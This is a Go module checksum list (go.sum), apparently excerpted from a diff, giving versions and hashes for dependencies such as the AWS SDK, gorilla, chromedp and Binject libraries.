filippo.io/mkcert v1.4.4 h1:8eVbbwfVlaqUM7OwuftKc2nuYOoTDQWqsoXmzoXZdbc=
filippo.io/mkcert v1.4.4/go.mod h1:VyvOchVuAye3BoUsPUOOofKygVwLV2KQMVFJNRq+1dA=
github.com/AlecAivazis/survey/v2 v2.0.5/go.mod h1:WYBhg6f0y/fNYUuesWQc0PKbJcEliGcYHB9sNT3Bg74=
github.com/AlecAivazis/survey/v2 v2.3.6 h1:NvTuVHISgTHEHeBFqt6BHOe4Ny/NwGZr7w+F8S9ziyw=
github.com/AlecAivazis/survey/v2 v2.3.6/go.mod h1:4AuI9b7RjAR+G7v9+C4YSlX/YL3K3cWNXgWXOhllqvI=
github.com/AlecAivazis/survey/v2 v2.3.7 h1:6I/u8FvytdGsgonrYsVn2t8t4QiRnh6QSTqkkhIiSjQ=
github.com/AlecAivazis/survey/v2 v2.3.7/go.mod h1:xUTIdE4KCOIjsBAE1JYsUPoCqYdZ1reCfTwbto0Fduo=
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d h1:uq6FM7b88vkNEqwjyP2mK6oL8cymY5b75Luu6ADTStY=
github.com/Binject/binjection v0.0.0-20200705191933-da1a50d7013d/go.mod h1:rJLtHgGUqTxJbfg+b+LjWBBPuYUzFFza1LXFhrzfxHA=
github.com/Binject/debug v0.0.0-20200621050044-63af8e405111/go.mod h1:6WgJ7mEG7ngJkNwwDkEVreDk2dPGg3oqdI6OEWaeDNg=
@@ -18,10 +26,12 @@ github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563/go.mod h1:HMbzsK
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313 h1:hX9boCRvCxIpsiV4q9ts+WOYNnjHiji2FOR5BsDzxiY=
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313/go.mod h1:J3XDRlam5pPYca3i6EqgQ35GCCEoyxafpCbLkta0ozc=
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
github.com/BurntSushi/toml v1.3.2 h1:o7IhLm0Msx3BaB+n3Ag7L8EVlByGnpq14C4YWiu/gL8=
github.com/BurntSushi/toml v1.3.2/go.mod h1:CxXYINrC8qIiEnFrOxCa7Jy5BFHlXnUU2pbicEuybxQ=
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd h1:u7K2oMFMd8APDV3fM1j2rO3U/XJf1g1qC3DDTKou8iM=
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
github.com/Microsoft/go-winio v0.5.1 h1:aPJp2QD7OOrhO5tQXqQoGSJc+DjDtWTGLOmNyAm6FgY=
github.com/Microsoft/go-winio v0.5.1/go.mod h1:JPGBdM1cNvN/6ISo+n8V5iA4v8pBzdOpzfwIujj1a84=
github.com/Microsoft/go-winio v0.6.1 h1:9/kr64B9VUZrLm5YYwbGtUJnMgqWVOdUAXu6Migciow=
github.com/Microsoft/go-winio v0.6.1/go.mod h1:LRdKpFKfdobln8UmuiYcKPot9D2v6svN5+sAH+4kjUM=
github.com/Ne0nd0g/go-clr v1.0.3 h1:xt92wwuqY23ZSC7RuHD3mKu3K22Bk5NNbxI803vojK4=
github.com/Ne0nd0g/go-clr v1.0.3/go.mod h1:TKYSQ/5xT25EvBUttAlUrzpR8yHuI0qTRK495I5xG/I=
github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc=
@@ -33,15 +43,45 @@ github.com/VividCortex/ewma v1.2.0 h1:f58SaIzcDXrSy3kWaHNvuJgJ3Nmz59Zji6XoJR/q1o
github.com/VividCortex/ewma v1.2.0/go.mod h1:nz4BbCtbLyFDeC9SUHbtcT5644juEuWfUAUnGx7j5l4=
github.com/akamensky/argparse v1.2.1/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
github.com/akutz/memconn v0.1.0 h1:NawI0TORU4hcOMsMr11g7vwlCdkYeLKXBcxWu2W/P8A=
github.com/akutz/memconn v0.1.0/go.mod h1:Jo8rI7m0NieZyLI5e2CDlRdRqRRB4S7Xp77ukDjH+Fw=
github.com/alecthomas/chroma v0.10.0 h1:7XDcGkCQopCNKjZHfYrNLraA+M7e0fMiJ/Mfikbfjek=
github.com/alecthomas/chroma v0.10.0/go.mod h1:jtJATyUxlIORhUOFNA9NZDWGAQ8wpxQQqNSB4rjA/1s=
github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa h1:LHTHcTQiSGT7VVbI0o4wBRNQIgn917usHWOd6VAffYI=
github.com/alexbrainman/sspi v0.0.0-20231016080023-1a75b4708caa/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4=
github.com/anmitsu/go-shlex v0.0.0-20200514113438-38f4b401e2be h1:9AeTilPcZAjCFIImctFaOjnTIavg87rW78vTPkQqLI8=
github.com/anmitsu/go-shlex v0.0.0-20200514113438-38f4b401e2be/go.mod h1:ySMOLuWl6zY27l47sB3qLNK6tF2fkHG55UZxx8oIVo4=
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 h1:JjwxKkxzcBk4k8147g0eBQRCIy0UN1Be8AAv6RaIj4Q=
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0/go.mod h1:IbERvuyb387Hppp8hX0SQTFt/mkej8+OhuS8L0nC2CI=
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 h1:cIAK2NNf2yafdgpFRNJrgZMwvy61BEVpGoHc2n4/yWs=
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4/go.mod h1:SalMPBCab3yuID8nIhLfzwoBV+lBRyaC7NhuN8qL8xE=
github.com/aws/aws-sdk-go-v2 v1.21.0 h1:gMT0IW+03wtYJhRqTVYn0wLzwdnK9sRMcxmtfGzRdJc=
github.com/aws/aws-sdk-go-v2 v1.21.0/go.mod h1:/RfNgGmRxI+iFOB1OeJUyxiU+9s88k3pfHvDagGEp0M=
github.com/aws/aws-sdk-go-v2/config v1.18.42 h1:28jHROB27xZwU0CB88giDSjz7M1Sba3olb5JBGwina8=
github.com/aws/aws-sdk-go-v2/config v1.18.42/go.mod h1:4AZM3nMMxwlG+eZlxvBKqwVbkDLlnN2a4UGTL6HjaZI=
github.com/aws/aws-sdk-go-v2/credentials v1.13.40 h1:s8yOkDh+5b1jUDhMBtngF6zKWLDs84chUk2Vk0c38Og=
github.com/aws/aws-sdk-go-v2/credentials v1.13.40/go.mod h1:VtEHVAAqDWASwdOqj/1huyT6uHbs5s8FUHfDQdky/Rs=
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.13.11 h1:uDZJF1hu0EVT/4bogChk8DyjSF6fof6uL/0Y26Ma7Fg=
github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.13.11/go.mod h1:TEPP4tENqBGO99KwVpV9MlOX4NSrSLP8u3KRy2CDwA8=
github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.41 h1:22dGT7PneFMx4+b3pz7lMTRyN8ZKH7M2cW4GP9yUS2g=
github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.41/go.mod h1:CrObHAuPneJBlfEJ5T3szXOUkLEThaGfvnhTf33buas=
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.35 h1:SijA0mgjV8E+8G45ltVHs0fvKpTj8xmZJ3VwhGKtUSI=
github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.35/go.mod h1:SJC1nEVVva1g3pHAIdCp7QsRIkMmLAgoDquQ9Rr8kYw=
github.com/aws/aws-sdk-go-v2/internal/ini v1.3.43 h1:g+qlObJH4Kn4n21g69DjspU0hKTjWtq7naZ9OLCv0ew=
github.com/aws/aws-sdk-go-v2/internal/ini v1.3.43/go.mod h1:rzfdUlfA+jdgLDmPKjd3Chq9V7LVLYo1Nz++Wb91aRo=
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.35 h1:CdzPW9kKitgIiLV1+MHobfR5Xg25iYnyzWZhyQuSlDI=
github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.35/go.mod h1:QGF2Rs33W5MaN9gYdEQOBBFPLwTZkEhRwI33f7KIG0o=
github.com/aws/aws-sdk-go-v2/service/ssm v1.38.0 h1:JON9MBvwUlM8HXylfB2caZuH3VXz9RxO4SMp2+TNc3Q=
github.com/aws/aws-sdk-go-v2/service/ssm v1.38.0/go.mod h1:JjBzoceyKkpQY3v1GPIdg6kHqUFHRJ7SDlwtwoH0Qh8=
github.com/aws/aws-sdk-go-v2/service/sso v1.14.1 h1:YkNzx1RLS0F5qdf9v1Q8Cuv9NXCL2TkosOxhzlUPV64=
github.com/aws/aws-sdk-go-v2/service/sso v1.14.1/go.mod h1:fIAwKQKBFu90pBxx07BFOMJLpRUGu8VOzLJakeY+0K4=
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.17.1 h1:8lKOidPkmSmfUtiTgtdXWgaKItCZ/g75/jEk6Ql6GsA=
github.com/aws/aws-sdk-go-v2/service/ssooidc v1.17.1/go.mod h1:yygr8ACQRY2PrEcy3xsUI357stq2AxnFM6DIsR9lij4=
github.com/aws/aws-sdk-go-v2/service/sts v1.22.0 h1:s4bioTgjSFRwOoyEFzAVCmFmoowBgjTR8gkrF/sQ4wk=
github.com/aws/aws-sdk-go-v2/service/sts v1.22.0/go.mod h1:VC7JDqsqiwXukYEDjoHh9U0fOJtNWh04FPQz4ct4GGU=
github.com/aws/smithy-go v1.14.2 h1:MJU9hqBGbvWZdApzpvoF2WAIJDbtjK2NDJSiJP7HblQ=
github.com/aws/smithy-go v1.14.2/go.mod h1:Tg+OJXh4MB2R/uN61Ko2f6hTZwB/ZYGOtib8J3gBHzA=
github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA=
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc h1:biVzkmvwrH8WK8raXaxBx6fRVTlJILwEwQGL1I/ByEI=
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8=
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
github.com/cheggaaa/pb/v3 v3.1.2 h1:FIxT3ZjOj9XJl0U4o2XbEhjFfZl7jCVCDOGq1ZAB7wQ=
github.com/cheggaaa/pb/v3 v3.1.2/go.mod h1:SNjnd0yKcW+kw0brSusraeDd5Bf1zBfxAzTL2ss3yQ4=
@@ -51,16 +91,27 @@ github.com/chromedp/chromedp v0.9.1 h1:CC7cC5p1BeLiiS2gfNNPwp3OaUxtRMBjfiw3E3k6d
github.com/chromedp/chromedp v0.9.1/go.mod h1:DUgZWRvYoEfgi66CgZ/9Yv+psgi+Sksy5DTScENWjaQ=
github.com/chromedp/sysutil v1.0.0 h1:+ZxhTpfpZlmchB58ih/LBHX52ky7w2VhQVKQMucy3Ic=
github.com/chromedp/sysutil v1.0.0/go.mod h1:kgWmDdq8fTzXYcKIBqIYvRRTnYb9aNS9moAV0xufSww=
github.com/cilium/ebpf v0.11.0 h1:V8gS/bTCCjX9uUnkUFUpPsksM8n1lXBAvHcpiFk1X2Y=
github.com/cilium/ebpf v0.11.0/go.mod h1:WE7CZAnqOL2RouJ4f1uyNhqr2P4CCvXFIqdRDUgWsVs=
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=
github.com/coreos/go-iptables v0.7.0 h1:XWM3V+MPRr5/q51NuWSgU0fqMad64Zyxs8ZUoMsamr8=
github.com/coreos/go-iptables v0.7.0/go.mod h1:Qe8Bv2Xik5FyTXwgIbLAnv2sWSBmvWdFETJConOQ//Q=
github.com/coreos/go-systemd/v22 v22.5.0 h1:RrqgGjYQKalulkV8NGVIfkXQf6YYmOyiJKk8iXXhfZs=
github.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc=
github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
github.com/creack/pty v1.1.17 h1:QeVUsEDNrLBW4tMgZHvxy18sKtr6VI492kBhUfhDJNI=
github.com/creack/pty v1.1.17/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
github.com/creack/pty v1.1.18 h1:n56/Zwd5o6whRC5PMGretI4IdRLlmBXYNjScPaBgsbY=
github.com/creack/pty v1.1.18/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/dblohm7/wingoes v0.0.0-20230929194252-e994401fc077 h1:WphxHslVftszsr0oZOHPaOjpmN/BsgNYF+gW/hxZXXc=
github.com/dblohm7/wingoes v0.0.0-20230929194252-e994401fc077/go.mod h1:6NCrWM5jRefaG7iN0iMShPalLsljHWBh9v1zxM2f8Xs=
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d h1:hmOGJg3cq5XK2aMs7R4kXXVSHqHMaC5hI5fwkX7V2zE=
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d/go.mod h1:q72QzdO6OUjwTqnLCFJczIQ7GsBa4ffzkQiQcq6rVTY=
github.com/digitalocean/go-smbios v0.0.0-20180907143718-390a4f403a8e h1:vUmf0yezR0y7jJ5pceLHthLaYf4bA5T14B6q39S4q2Q=
github.com/digitalocean/go-smbios v0.0.0-20180907143718-390a4f403a8e/go.mod h1:YTIHhz/QFSYnu/EhlF2SpU2Uk+32abacUYA5ZPljz1A=
github.com/dlclark/regexp2 v1.4.0 h1:F1rxgk7p4uKjwIQxBs9oAXe5CqrXlCduYEJvrF4u93E=
github.com/dlclark/regexp2 v1.4.0/go.mod h1:2pZnwuY/m+8K6iRw6wQdMtk+rH5tNGR1i55kozfMjCc=
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
@@ -72,57 +123,104 @@ github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7
github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU=
github.com/fatih/color v1.15.0 h1:kOqh6YHBtK8aywxGerMG2Eq3H6Qgoqeo13Bk2Mv/nBs=
github.com/fatih/color v1.15.0/go.mod h1:0h5ZqXfHYED7Bhv2ZJamyIOUej9KtShiJESRwBDUSsw=
github.com/frankban/quicktest v1.14.5 h1:dfYrrRyLtiqT9GyKXgdh+k4inNeTvmGbuSgZ3lx3GhA=
github.com/frankban/quicktest v1.14.5/go.mod h1:4ptaffx2x8+WTWXmUCuVU6aPUX1/Mz7zb5vbUoiM6w0=
github.com/fxamacker/cbor/v2 v2.5.0 h1:oHsG0V/Q6E/wqTS2O1Cozzsy69nqCiguo5Q1a1ADivE=
github.com/fxamacker/cbor/v2 v2.5.0/go.mod h1:TA1xS00nchWmaBnEIxPSE5oHLuJBAVvqrtAnWBwBCVo=
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 h1:Y5Q2mEwfzjMt5+3u70Gtw93ZOu2UuPeeeTBDntF7FoY=
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo=
github.com/glebarez/go-sqlite v1.21.1 h1:7MZyUPh2XTrHS7xNEHQbrhfMZuPSzhkm2A1qgg0y5NY=
github.com/glebarez/go-sqlite v1.21.1/go.mod h1:ISs8MF6yk5cL4n/43rSOmVMGJJjHYr7L2MbZZ5Q4E2E=
github.com/glebarez/sqlite v1.8.0 h1:02X12E2I/4C1n+v90yTqrjRa8yuo7c3KeHI3FRznCvc=
github.com/glebarez/sqlite v1.8.0/go.mod h1:bpET16h1za2KOOMb8+jCp6UBP/iahDpfPQqSaYLTLx8=
github.com/gin-contrib/sse v0.1.0 h1:Y/yl/+YNO8GZSjAhjMsSuLt29uWRFHdHYUb5lYOV9qE=
github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI=
github.com/gin-gonic/gin v1.6.3 h1:ahKqKTFpO5KTPHxWZjEdPScmYaGtLo8Y4DMHoEsnp14=
github.com/gin-gonic/gin v1.6.3/go.mod h1:75u5sXoLsGZoRN5Sgbi1eraJ4GU3++wFwWzhwvtwp4M=
github.com/github/fakeca v0.1.0 h1:Km/MVOFvclqxPM9dZBC4+QE564nU4gz4iZ0D9pMw28I=
github.com/github/fakeca v0.1.0/go.mod h1:+bormgoGMMuamOscx7N91aOuUST7wdaJ2rNjeohylyo=
github.com/glebarez/go-sqlite v1.21.2 h1:3a6LFC4sKahUunAmynQKLZceZCOzUthkRkEAl9gAXWo=
github.com/glebarez/go-sqlite v1.21.2/go.mod h1:sfxdZyhQjTM2Wry3gVYWaW072Ri1WMdWJi0k6+3382k=
github.com/glebarez/sqlite v1.10.0 h1:u4gt8y7OND/cCei/NMHmfbLxF6xP2wgKcT/BJf2pYkc=
github.com/glebarez/sqlite v1.10.0/go.mod h1:IJ+lfSOmiekhQsFTJRx/lHtGYmCdtAiTaf5wI9u5uHA=
github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY=
github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A=
github.com/go-ole/go-ole v1.3.0 h1:Dt6ye7+vXGIKZ7Xtk4s6/xVdGDQynvom7xCFEdWr6uE=
github.com/go-ole/go-ole v1.3.0/go.mod h1:5LS6F96DhAwUc7C+1HLexzMXY1xGRSryjyPPKW6zv78=
github.com/go-playground/assert/v2 v2.0.1/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4=
github.com/go-playground/locales v0.13.0 h1:HyWk6mgj5qFqCT5fjGBuRArbVDfE4hi8+e8ceBS/t7Q=
github.com/go-playground/locales v0.13.0/go.mod h1:taPMhCMXrRLJO55olJkUXHZBHCxTMfnGwq/HNwmWNS8=
github.com/go-playground/universal-translator v0.17.0 h1:icxd5fm+REJzpZx7ZfpaD876Lmtgy7VtROAbHHXk8no=
github.com/go-playground/universal-translator v0.17.0/go.mod h1:UkSxE5sNxxRwHyU+Scu5vgOQjsIJAF8j9muTVoKLVtA=
github.com/go-playground/validator/v10 v10.2.0 h1:KgJ0snyC2R9VXYN2rneOtQcw5aHQB1Vv0sFl1UcHBOY=
github.com/go-playground/validator/v10 v10.2.0/go.mod h1:uOYAAleCW8F/7oMFd6aG0GOhaH6EGOAJShg8Id5JGkI=
github.com/go-sql-driver/mysql v1.7.0 h1:ueSltNNllEqE3qcWBTD0iQd3IpL/6U+mJxLkazJ7YPc=
github.com/go-sql-driver/mysql v1.7.0/go.mod h1:OXbVy3sEdcQ2Doequ6Z5BW6fXNQTmx+9S1MCJN5yJMI=
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
github.com/gobwas/httphead v0.0.0-20180130184737-2c6c146eadee/go.mod h1:L0fX3K22YWvt/FAX9NnzrNzcI4wNYi9Yku4O0LKYflo=
github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU=
github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM=
github.com/gobwas/pool v0.2.0/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=
github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og=
github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw=
github.com/gobwas/ws v1.0.2/go.mod h1:szmBTxLgaFppYjEmNtny/v3w89xOydFnnZMcgRRu/EM=
github.com/gobwas/ws v1.1.0 h1:7RFti/xnNkMJnrK7D1yQ/iCIB5OrrY/54/H930kIbHA=
github.com/gobwas/ws v1.1.0/go.mod h1:nzvNcVha5eUziGrbxFCo6qFIojQHjJV5cLYIbezhfL0=
github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
github.com/godbus/dbus/v5 v5.1.1-0.20230522191255-76236955d466 h1:sQspH8M4niEijh3PFscJRLDnkL547IeP7kpPe3uUhEg=
github.com/godbus/dbus/v5 v5.1.1-0.20230522191255-76236955d466/go.mod h1:ZiQxhyQ+bbbfxUKVvjfO498oPYvtYhZzycal3G/NHmU=
github.com/gofrs/uuid v4.4.0+incompatible h1:3qXRTX8/NbyulANqlc0lchS1gqAVxRgsuW1YrTJupqA=
github.com/gofrs/uuid v4.4.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q=
github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q=
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da h1:oI5xCqsCo564l8iNU+DwB5epxmsaqB+rhGL0m5jtYqE=
github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw=
github.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk=
github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk=
github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg=
github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY=
github.com/google/btree v1.0.1 h1:gK4Kx5IaGY9CD5sPJ36FHiBJ6ZXl0kilRiiCj+jdYp4=
github.com/google/btree v1.0.1/go.mod h1:xXMiIv4Fb/0kKde4SpL7qlzvu5cMJDRkFDxJfI9uaxA=
github.com/google/btree v1.1.2 h1:xf4v41cLI2Z6FxbKm+8Bu+m8ifhj15JuZ9sa0jZCMUU=
github.com/google/btree v1.1.2/go.mod h1:qOPhT0dTNdNzV6Z/lhRX0YXUafgPLFUh+gZMl761Gm4=
github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE=
github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38=
github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg=
github.com/google/nftables v0.1.1-0.20230115205135-9aa6fdf5a28c h1:06RMfw+TMMHtRuUOroMeatRCCgSMWXCJQeABvHU69YQ=
github.com/google/nftables v0.1.1-0.20230115205135-9aa6fdf5a28c/go.mod h1:BVIYo3cdnT4qSylnYqcd5YtmXhr51cJPGtnLBe/uLBU=
github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26 h1:Xim43kblpZXfIBQsbuBVKCudVG457BR2GZFIz3uw3hQ=
github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26/go.mod h1:dDKJzRmX4S37WGHujM7tX//fmj1uioxKzKxz3lo4HJo=
github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/gorilla/mux v1.8.0 h1:i40aqfkR1h2SlN9hojwV5ZA91wcXFOvkdNIeFDP5koI=
github.com/gorilla/mux v1.8.0/go.mod h1:DVbg23sWSpFRCP0SfiEN6jmj59UnW/n46BH5rLB71So=
github.com/google/uuid v1.3.1 h1:KjJaJ9iWZ3jOFZIf1Lqf4laDRCasjl0BCmnEGxkdLb4=
github.com/google/uuid v1.3.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/gorilla/csrf v1.7.1 h1:Ir3o2c1/Uzj6FBxMlAUB6SivgVMy1ONXwYgXn+/aHPE=
github.com/gorilla/csrf v1.7.1/go.mod h1:+a/4tCmqhG6/w4oafeAZ9pEa3/NZOWYVbD9fV0FwIQA=
github.com/gorilla/mux v1.8.1 h1:TuBL49tXwgrFYWhqrNgrUNEY92u81SPhu7sTdzQEiWY=
github.com/gorilla/mux v1.8.1/go.mod h1:AKf9I4AEqPTmMytcMc0KkNouC66V3BtZ4qD5fmWSiMQ=
github.com/gorilla/securecookie v1.1.1 h1:miw7JPhV+b/lAHSXz4qd/nN9jRiAFV5FwjeKyCS8BvQ=
github.com/gorilla/securecookie v1.1.1/go.mod h1:ra0sb63/xPlUeL+yeDciTfxMRAA+MP+HVt/4epWDjd4=
github.com/gorilla/websocket v1.4.1 h1:q7AeDBpnBk8AogcD4DSag/Ukw/KV+YhzLj2bP5HvKCM=
github.com/gorilla/websocket v1.4.1/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0 h1:UH//fgunKIs4JdUbpDl1VZCDaL56wXCB/5+wF6uHfaI=
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0/go.mod h1:g5qyo/la0ALbONm6Vbp88Yd8NsDy6rZz+RcrMPxvld8=
github.com/hashicorp/go-uuid v1.0.2 h1:cfejS+Tpcp13yd5nYHWDI6qVCny6wyX2Mt5SGur2IGE=
github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
github.com/hdevalence/ed25519consensus v0.1.0 h1:jtBwzzcHuTmFrQN6xQZn6CQEO/V9f7HsjsjeEZ6auqU=
github.com/hdevalence/ed25519consensus v0.1.0/go.mod h1:w3BHWjwJbFU29IRHL1Iqkw3sus+7FctEyM4RqDxYNzo=
github.com/hinshun/vt10x v0.0.0-20180616224451-1954e6464174/go.mod h1:DqJ97dSdRW1W22yXSB90986pcOyQ7r45iio1KN2ez1A=
github.com/hinshun/vt10x v0.0.0-20220119200601-820417d04eec h1:qv2VnGeEQHchGaZ/u7lxST/RaJw+cv273q79D81Xbog=
